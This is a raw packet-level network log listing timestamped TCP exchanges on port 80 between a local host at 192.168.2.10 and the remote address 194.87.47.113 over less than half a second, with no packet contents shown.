Dec 19, 2024 08:21:24.133567095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.134002924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.134129047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.134275913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.134845972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.134959936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.134999990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.135612965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.135749102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.135833979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.136466026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.136564016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.136606932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.137221098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.137290001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.137355089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.137974024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.138081074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.138180017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.138817072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.138895988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.139023066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.139619112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.139714956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.139756918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.140431881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.140559912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.141161919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.141228914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.141395092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.141726971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.142047882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.142170906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.142213106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.142848969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.142975092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.143531084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.143579960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.143621922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.143657923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.144310951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.144429922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.145108938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.145148993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.145205021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.145241022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.145901918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.146018028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.146673918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.146718025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.146729946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.146756887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.147542000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.147600889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.147636890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.148263931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.148385048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.149058104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.149172068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.149178982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.149210930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.149879932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.150019884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.150065899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.150619984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.200768948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.219532967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.219820976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.219890118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.219899893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.219914913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.219961882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.220673084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.220907927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.221466064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.221513033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.227755070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.227945089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.228148937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.228176117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.228184938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.228423119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.228956938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.229058027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.229114056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.347628117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.348315001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.348330021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.348494053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.348530054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.348572969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.467721939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.467739105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.467827082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.467888117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.467901945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.467914104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.467952967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587146997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587163925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587177038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587229013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587241888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587254047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587291956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587302923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587323904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587327003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587327003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587337971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587344885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587352991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587364912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587384939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587409973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587575912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587589979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587601900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587614059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587626934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587630987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587655067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587686062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587699890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587712049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587719917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587727070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587740898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587744951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587757111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587768078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587775946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.587780952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.587799072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.588490009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588536978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.588555098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588576078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588589907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588609934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588627100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.588646889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588655949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.588659048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588670969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588684082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588696957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.588706017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.588732958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.589371920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589385986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589399099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589411974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589415073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.589425087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589449883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.589593887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.589761019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589771986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589791059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589802980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589817047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.589843988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.589848042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589862108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589874029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589885950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.589905977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.589927912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.590572119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590585947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590632915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.590711117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590723991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590735912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590756893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590769053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590774059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.590781927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590794086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590799093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.590806007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590807915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.590820074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590835094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590846062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.590847969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.590871096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.591648102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591661930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591674089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591686964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591691971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.591701031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591713905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.591713905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591727018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591741085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591749907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.591753960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591764927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.591769934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591782093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591790915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.591794968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.591816902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.592509031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592523098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592545986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.592554092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592566013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592576981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592588902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592600107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592602015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.592613935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592626095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592641115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592643023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.592653990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592665911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.592667103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.592683077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.593278885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593293905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593327999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.593529940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593540907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593553066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593564987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593575001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.593578100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593597889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.593597889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593607903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.593611956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593626022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593638897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593651056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.593651056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.593668938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.594269991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594290972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594331026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.594432116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594444036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594455957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594466925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594476938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.594480038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594487906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.594496012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594508886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594512939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.594521999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594535112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594547987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594552040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.594561100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.594582081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.594598055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.595226049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595237970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595243931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595268965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595280886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595293999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595307112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595362902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595376015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595386982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595387936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.595387936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.595400095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.595401049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595416069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.595434904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.595459938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.596148968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596163034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596174002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596194029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.596296072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596308947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596321106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596328974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.596335888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596349001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596354961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.596362114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596374989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596385002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.596388102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596400976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596410990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.596414089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.596432924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.596992016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597076893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.597250938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597264051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597278118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597290039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597297907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.597302914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597316980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597326994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.597330093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597342968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597343922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.597357035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.597376108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.597959995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598083973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598095894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598108053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598128080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598140001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598148108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.598151922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598176003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598176956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.598191023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598192930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.598205090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598217964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598225117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.598232031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.598248005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.599071026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599083900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599096060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599107981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599121094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599123001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.599133968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599147081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599159002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599172115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.599173069 CET	49720	80	192.168.2.10	194.87.47.113
